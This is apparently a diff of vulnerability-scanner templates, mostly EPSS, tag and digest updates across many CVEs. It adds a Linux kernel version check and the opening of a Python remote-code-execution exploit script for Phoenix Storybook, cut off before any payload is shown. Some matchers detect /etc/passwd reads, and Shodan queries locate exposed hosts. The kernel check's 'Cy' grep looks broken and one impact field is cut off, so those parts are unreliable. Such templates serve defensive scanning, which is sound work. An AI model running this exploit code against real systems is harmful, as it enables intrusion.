     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
-    epss-score: 0.0321
-    epss-percentile: 0.86478
+    epss-score: 0.03237
+    epss-percentile: 0.88341
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
   tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 4b0a0048304602210091c69f7b2d301d6b9456b0c94d2eece5ad5d0ab1c6682aca3f289d2cc1f3acd9022100e8d974005aa9fbb0f2f0fc7108b8d1330ef62fab525b1c806da1548301b2d101:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022046e0c110028c17df7ad3912f674dc85030288a26fdb2382c4c246f0289637f1402203aa97a10113760cd2fc6af873b9795c0aa2aa6722a0167135b3939e164d048d2:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,8 +20,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.10593
-    epss-percentile: 0.95193
+    epss-score: 0.10684
+    epss-percentile: 0.95831
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a004630440220079265f858906be56cf1f319af59e299fb61fb27e7ddadb1d9f23dd17aac11680220325fedac9bdf0fd343078eddc20e863a27f1e0ef77a708253ee9066c88c3114a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c780bc176e0e5fd439f8fc52cf59f37b84d56a840ae893d0e5cd5b5341aa0c6d022100f68d8f74b54e329bdcabec6530758ca5681140ff8dea9c50a1e35861d9338138:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-47575.yaml

@@ -19,15 +19,15 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-47575
     cwe-id: CWE-306
-    epss-score: 0.96503
-    epss-percentile: 0.99874
+    epss-score: 0.94766
+    epss-percentile: 0.99858
     cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
-  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
-  keysDir: "helpers/payloads/cve-2024-475759-keys"
+  keysDir: "helpers/payloads/cve-2024-47575-keys"
 
 code:
   - engine:
@@ -147,4 +147,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4b0a00483046022100fafc868ab1d4dd792323025e5f3c74f33a57f5ae27ac41e5095ada1f74989ab6022100a585bae85355ec08b171dddf911340c986efe1cb7a7120f19db19052d86e4822:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022018449b2bb4d73699afb706451d74784f6a22ce145681e197b4bd582731ee2e9e022100923e5e1d911ffca36315a9293b356fa5e30e869eb945bdf4f7f81b11badbcfc6:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.4356
-    epss-percentile: 0.98567
+    epss-score: 0.43906
+    epss-percentile: 0.98755
   metadata:
     verified: true
     max-request: 2
@@ -195,4 +195,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100a83d781a6469f7bb2752efa1174f93e059e00c15d6dc55a10bf3e5e7b8bae0ab0220545415235c410a60160234fec1ca313092f4d992f2fcc227f8eef11913106863:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210094c5a34fffaf15b6ae88391bfa68ebb86575e05fc8941a50a5b5f5fa7a8c403e022100b230a220a8975bf978bb39417fec1ce29f0377b8f076e37b6292f4419319b744:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
-    epss-score: 0.01763
-    epss-percentile: 0.75044
+    epss-score: 0.01845
+    epss-percentile: 0.79139
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100db22c3ec7c7737ef17f1b003b6002b106eca204ecea1971eb70e5a95f04fe71002202f99b8a718f7deba5dd931da39b76f5d09668bfcca96dbae04643bea8117f0cd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100be42eb3260927e43dc5dc7b2eb185310a566f30eee6417a4f1724c5b85b28e9302206533eaa850605e92d759b50146292411b57b42d8ad45f58f165249d0aff96801:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -14,8 +14,8 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.22443
-    epss-percentile: 0.97392
+    epss-score: 0.25607
+    epss-percentile: 0.97969
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a00473045022079a9e9843cb4a6edaa1da61a1e6490f1c5c36db45c41609ebe5ffe6c93eedc8e022100d96668a8fff3bfe3716aefd2345ce416e47f509eed30fb76ef6d10f1b8cf8e69:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022038e575ce2e72961d735cfa7aa1882b8e41e81c14d214e8621ae95371fe10e35f022100fce29cdd3d8c44bed723e16c7afdfdf7508af0f384648c6c54b68c2889839de0:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-1550.yaml

@@ -15,11 +15,11 @@ info:
     - https://github.com/keras-team/keras/pull/20751
     - https://towerofhanoi.it/writeups/cve-2025-1550/
   classification:
-    epss-score: 0.02803
-    epss-percentile: 0.8458
+    epss-score: 0.02604
+    epss-percentile: 0.85443
   metadata:
     max-request: 1
-  tags: cve,cve2025,code,keras,rce,ml
+  tags: cve,cve2025,code,keras,rce,ml,vuln
 
 self-contained: true
 
@@ -77,4 +77,4 @@ code:
         part: response
         regex:
           - "root:.*:0:0:"
-# digest: 490a0046304402203a0a56b51f8c1a54544b7da651ec809a846789d86c8139d7b48575771294ccff022022cf0f8648d52358a4aca1988fa3700f118883f0a10909e06aa7a765df1ac5a7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b1d63a921b1ea4ee5b4c5f8e1b52c3db42d31c4da505f1588c28508571e3582f02200384a840476a87af20d8cfdc6cc6f69bc2fef64fb8ca941fb6797c629cf2f98c:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.0
     cve-id: CVE-2025-22457
     cwe-id: CWE-121,CWE-787
-    epss-score: 0.99961
-    epss-percentile: 0.99975
+    epss-score: 0.99981
+    epss-percentile: 0.99981
     cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
   metadata:
     vendor: ivanti
@@ -164,4 +164,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 490a0046304402207cc93451889af0b6c41b0540c7bf1f5814d9962b04b3834885913368c3492a150220096155140f4dd04ee27eac8742bff5f1ee5f87be35dafc94c2b4ca1e9d357fbd:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e5cb98c61eec3c597a1456695773320cbf0b1f0df66d11b25e749cadf5ebf85c022100c72c4262c32a36c69f8c3266a92313d2cb6edf58b69fdde9f118ad564cbba0a0:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.19506
-    epss-percentile: 0.9702
+    epss-score: 0.20965
+    epss-percentile: 0.97573
   metadata:
     verified: true
     vendor: gitlab
@@ -80,4 +80,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4b0a00483046022100815efb0012314bf9d084c2c0863bae47bcfa7cec32b256fc6ac424dbaf68b61002210082ed3db3a76c64a1e1bcec895c7e28b46ff3b8ce1d9f4382eb7b57e3365227a6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006a1560243ebfa0fb28ee36ac8dbd3ab6694ae2d01d496e5e705f6f2224dc767022039cb481f4d6945c4b3a2244cde1bc574eadc9986061b79937a72bd5c8804cfbd:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -22,8 +22,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.9727
-    epss-percentile: 0.99888
+    epss-score: 0.98924
+    epss-percentile: 0.99927
   metadata:
     verified: true
     max-request: 1
@@ -174,4 +174,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022100c60c54702588c45087a1c7415757585cd202f47b114698b21523a4f2996aa4c702206c0065eafd22a25cf003e298fda1a19e9f46699b7d49f0a4746ec3c8450795ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f73c5941c82d36fefc97f9070af94ea8949936ed1e457dcc37802f53b6f7f38b02204d6d48f5bbb62eac0d1c08d00b6614ab37771f36c8776548061a05d1e41f99bb:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32463.yaml

@@ -18,8 +18,8 @@ info:
     - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
   classification:
     cve-id: CVE-2025-32463
-    epss-score: 0.48008
-    epss-percentile: 0.98703
+    epss-score: 0.563
+    epss-percentile: 0.99057
     cvss-score: 9.3
     cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cwe-id: CWE-426
@@ -44,6 +44,7 @@ code:
         words:
           - "root"
         negative: true
+        internal: true
 
   - engine:
       - sh
@@ -64,4 +65,4 @@ code:
           - "!contains(tolower(response), 'password')"
           - "!contains(tolower(response), 'a password is required')"
           - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 490a0046304402203a16d174c9efdcf381e8d9bcc2f364b378920814d4129907bdf1ce006d361ff00220675b6c140001652e89d82bbf36ca61ef68aba1a165a0c080374d21c2e2eb3175:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022048fa86a29c7465259b6cb82d9ed8db56361e65f64c5d509993a415922639486f022100bfea7a7feb7a5dbda73a626ea056ebec053427b1ef109dc880aeebeb75d1c5e8:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-54309
-    epss-score: 0.91662
-    epss-percentile: 0.99801
+    epss-score: 0.93473
+    epss-percentile: 0.9984
     cwe-id: CWE-287,CWE-362
     cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
   metadata:
@@ -200,4 +200,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a0047304502205921fce3091b7bb0f0683cdd94cef00a9ff81226a990df0342ff558ab235077d022100af4b8ba11cb829cd46818ab5142a965f77f6b77babf4cfb8d17cbc384e12d7ac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c30546416b77b918aca040239e7720147308420e9c6fe2de9baf9a03b1d25af5022034f9648b3daff9e6d891901c928ab11a2cba1cce91a03e8219d3c6b03ae584b9:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,8 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.29434
-    epss-percentile: 0.97934
+    epss-score: 0.47775
+    epss-percentile: 0.98857
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 490a0046304402201a222ae938a2f5b2992879b1b2f71919d4a191fdc256aeb884019382963b96f60220217cbfba39e654bfddf40990f94344c6f7fe4ca6896414770fd3458b8c66d9e0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220526e2625ca92b0981e7853e353cb945092aac388936ed04fb5310086ad2f7c44022100b5e05eb7685d9422452c48acca5aea60e5a7d70da32faa0da576c73b7ebd6a85:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-68926.yaml

@@ -17,15 +17,15 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-68926
-    epss-score: 0.2903
-    epss-percentile: 0.97906
+    epss-score: 0.3185
+    epss-percentile: 0.98311
     cwe-id: CWE-798
   metadata:
     verified: true
     max-request: 1
     vendor: rustfs
     product: rustfs
-  tags: cve,cve2025,rustfs,grpc,auth-bypass,code
+  tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
 
 variables:
   HOST: "{{Host}}"
@@ -87,4 +87,4 @@ code:
         name: version
         regex:
           - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
-# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
+# digest: 4a0a0047304502205e4cc603e0f4becbec33e05f81cbcb555be705c1c2a2a8fd05558c477fb69abb022100d0169fe2288ad7407451e58e0a8c15334d746b7499c0a44159c92c2f1028e305:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6984.yaml

@@ -18,8 +18,8 @@ info:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2025-6984
-    epss-score: 0.01531
-    epss-percentile: 0.71393
+    epss-score: 0.01647
+    epss-percentile: 0.76573
     cwe-id: CWE-200
   metadata:
     verified: true
@@ -64,4 +64,4 @@ code:
           - "bin:"
           - "daemon:"
         condition: or
-# digest: 4b0a00483046022100e313ebe980e2c026cbbee39488783fd1d6f7e27f491ca7ab6cacfd95ff213ade022100930e573cfe95ed88cc484d60919aa5f4c406e29e063591bdc129d54cc9539c7a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ea981e739fda5fa2ccd86f37d779058b17f28580e1942a34cd50a7e155f241a7022100c2d6cad19699d3e3466a9c738fc50ddeaef304635f70bcacc6dd7b405b5ca930:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-71260.yaml

@@ -112,4 +112,4 @@ code:
         regex:
           - '\|(.+)$'
         group: 1
-# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
+# digest: 4a0a0047304502205a98076bd98ac3fc7ec235582bbcce6cf4c21d5c125a581beb8fda6b2460b81e022100a0fcae46a204a4cd489c200e00c0b4f718ea624785f470230c91247ee0460057:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-9242.yaml

@@ -18,13 +18,13 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2025-9242
     cwe-id: CWE-787,CWE-362
-    epss-score: 0.8637
-    epss-percentile: 0.99709
+    epss-score: 0.92219
+    epss-percentile: 0.99823
     cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a0047304502207e525dee3ffb0b01e24680bdaf51196be9087c4a1b123e0e50cd790cdbab5111022100a5578729368e83368eef12658d38a8baab3fc485cfc138465e69c0eab6bdebce:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201a421092e3a959ead141b13dbbbfebdb346052d8cc3f390a6549d6a47805e40f0221009d2fc0f2262af3f9dc925122f2ba67cc7775748a2535b646c1d5eb9c10d157e9:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-10795.yaml

@@ -2,7 +2,7 @@ id: CVE-2026-10795
 
 info:
   name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
-  author: theamanrawat
+  author: theamanrawat,s4e-io
   severity: high
   description: |
     UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
@@ -18,8 +18,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 8.1
     cve-id: CVE-2026-10795
-    epss-score: 0.00337
-    epss-percentile: 0.25333
+    epss-score: 0.04308
+    epss-percentile: 0.91198
     cwe-id: CWE-347
   metadata:
     max-request: 2
@@ -83,6 +83,6 @@ http:
       - type: dsl
         dsl:
           - 'status_code == 200'
-          - 'contains(body, "udrpc_message")'
+          - 'contains(body, "\"udrpc_message\":\"")'
         condition: and
-# digest: 4a0a00473045022100f61a2e21e1bfb3c4d87e6baca478d60fa74735ffedb31509ea0f786c2e294bf1022053e5365f65de3dbf0d1051bcc134d628197700d8c3790934dc2e909e01cd284f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cbccfece7a4ec3dc32564dbd416f8c2bae01a1e1ca2b3cb5df3dde0cdca2f51f022100923b3976300d4bb674d186822afe8a3be720f7ef9ed3f22106167a871aa23f63:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-20182.yaml

@@ -19,8 +19,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10.0
     cve-id: CVE-2026-20182
-    epss-score: 0.77902
-    epss-percentile: 0.99514
+    epss-score: 0.91817
+    epss-percentile: 0.99816
     cwe-id: CWE-287
     cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
   metadata:
@@ -272,4 +272,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a00473045022100d65927258b9d89de0cb5b177c73f31dae425d68ee7ce451c60513513e60eae8f02202f98945d68de1f889e927d0585406e5f22c27e46767c00ba03889a042d1ec2e8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200e271c7d89e41b1b6114c53735580b9a4fe34c29fdd0322395c7f6af32edacc50221008941cee2e2914d69681c68bfb03f09fda537c09c67e4fe70a62dc2ada884e5a5:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-24061.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2026-24061
     cwe-id: CWE-88
-    epss-score: 0.98871
-    epss-percentile: 0.99921
+    epss-score: 0.98984
+    epss-percentile: 0.99929
   metadata:
     verified: true
     max-request: 1
@@ -26,7 +26,7 @@ info:
     product: inetutils
     shodan-query: port:23 telnet
     fofa-query: port="23" && protocol="telnet"
-  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
+  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
 
 code:
   - engine:
@@ -49,4 +49,4 @@ code:
           - "Last login"
           - "Debian"
         condition: and
-# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022065a94097ca7c40bb8bef866c1a6e607a8da23a564d3a75cdadfc656450c05cf10221008d8e4289091ce101df13ad402a376da2a88393b478c7857c13fe194ae343e537:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-31431.yaml

@@ -0,0 +1,142 @@
+id: CVE-2026-31431
+
+info:
+  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
+  author: ritikchaddha
+  severity: high
+  description: |
+    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
+  impact: |
+    A local attacker can escalate from any unprivileged user to root. The exploit:
+  remediation: |
+    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
+  reference:
+    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
+    - https://cert.europa.eu/publications/security-advisories/2026-005
+    - https://xint.io/blog/copy-fail-linux-distributions
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
+  classification:
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.8
+    cve-id: CVE-2026-31431
+    epss-score: 0.98114
+    epss-percentile: 0.99911
+    cwe-id: CWE-787
+    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: linux
+    product: linux_kernel
+  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
+
+self-contained: true
+
+flow: code(1) && code(2) && code(3)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      uname -r
+
+    extractors:
+      - type: regex
+        name: kernel_version
+        part: response
+        regex:
+          - '^[0-9]+\.[0-9]+\.[0-9]+'
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      KVER=$(uname -r)
+      MAJOR=$(echo "$KVER" | cut -d. -f1)
+      MINOR=$(echo "$KVER" | cut -d. -f2)
+      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
+      VULNERABLE=0
+
+      # Check if algif_aead module is loaded or built-in (required attack surface)
+      AEAD_PRESENT=0
+      if lsmod 2>/dev/null | grep -q "algif_aead"; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
+        AEAD_PRESENT=1
+      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
+        AEAD_PRESENT=1
+      fi
+
+      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
+      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
+      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 5 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 6 ]; then
+        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
+        fi
+      fi
+
+      if [ "$VULNERABLE" -eq 1 ]; then
+        if [ "$AEAD_PRESENT" -eq 1 ]; then
+          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
+        else
+          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
+        fi
+      else
+        echo "NOT_VULNERABLE: kernel $KVER"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "VULNERABLE:"
+
+      - type: word
+        part: response
+        words:
+          - "NOT_VULNERABLE"
+        negative: true
+
+    extractors:
+      - type: regex
+        name: detection_detail
+        part: response
+        regex:
+          - 'VULNERABLE:.*'
+# digest: 490a00463044022051713b8fee9c8af61e7d430677309dbfe206f3b94f712ade50fe676b31b4de0302201bc5a3b9b15d079c56cd4c486fd470f4d2d7050d8218206ac027456019598695:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-8467.yaml

@@ -0,0 +1,279 @@
+id: CVE-2026-8467
+
+info:
+  name: Phoenix Storybook - Remote Code Execution
+  author: 0x_Akoko
+  severity: critical
+  description: |
+    Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
+  impact: |
+    Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
+  remediation: |
+    Upgrade to version 1.1.0 or later.
+  reference:
+    - https://github.com/plausible/analytics/security/advisories
+    - https://github.com/plausible/analytics
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-8467
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-8467
+    epss-score: 0.02111
+    epss-percentile: 0.81876
+    cwe-id: CWE-94
+  metadata:
+    verified: true
+    max-request: 3
+    shodan-query: http.favicon.hash:829712541
+    fofa-query: icon_hash=="829712541"
+  tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import sys, re, json, ssl, socket, struct, base64, os, time
+      import http.cookiejar, urllib.request, urllib.parse, urllib.error
+
+      target = sys.stdin.read().strip()
+      if not target:
+          print("ERROR: No target")
+          sys.exit(1)
+      target = target.rstrip("/")
+      if not target.startswith("http"):
+          target = "http://" + target
+      is_https = target.startswith("https://")
+
+      ssl_ctx = ssl.create_default_context()
+      ssl_ctx.check_hostname = False
+      ssl_ctx.verify_mode = ssl.CERT_NONE
+
+      storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
+
+      # Step 1: Fetch storybook page
+      try:
+          cj = http.cookiejar.CookieJar()
+          opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
+          req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
+          resp = opener.open(req, timeout=15)
+          body = resp.read().decode("utf-8", errors="replace")
+      except Exception as e:
+          print("NOT_VULNERABLE: Connection failed - " + str(e))
+          sys.exit(0)
+
+      if resp.getcode() != 200 or "data-phx-session" not in body:
+          print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
+          sys.exit(0)
+
+      # Step 2: Extract tokens
+      csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
+      if not csrf_m:
+          print("NOT_VULNERABLE: No CSRF token")
+          sys.exit(0)
+      csrf = csrf_m.group(1)
+      cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
+      phx_id_m = re.search(r'id="phx-([^"]+)"', body)
+      if not phx_id_m:
+          print("NOT_VULNERABLE: No PHX ID")
+          sys.exit(0)
+      phx_id = phx_id_m.group(1)
+      sessions = re.findall(r'data-phx-session="([^"]+)"', body)
+      statics = re.findall(r'data-phx-static="([^"]+)"', body)
+      if not sessions or not statics:
+          print("NOT_VULNERABLE: No session tokens")
+          sys.exit(0)
+      parent_session = sessions[0]
+      parent_static = statics[0]
+      child_static = statics[1] if len(statics) > 1 else statics[0]
+
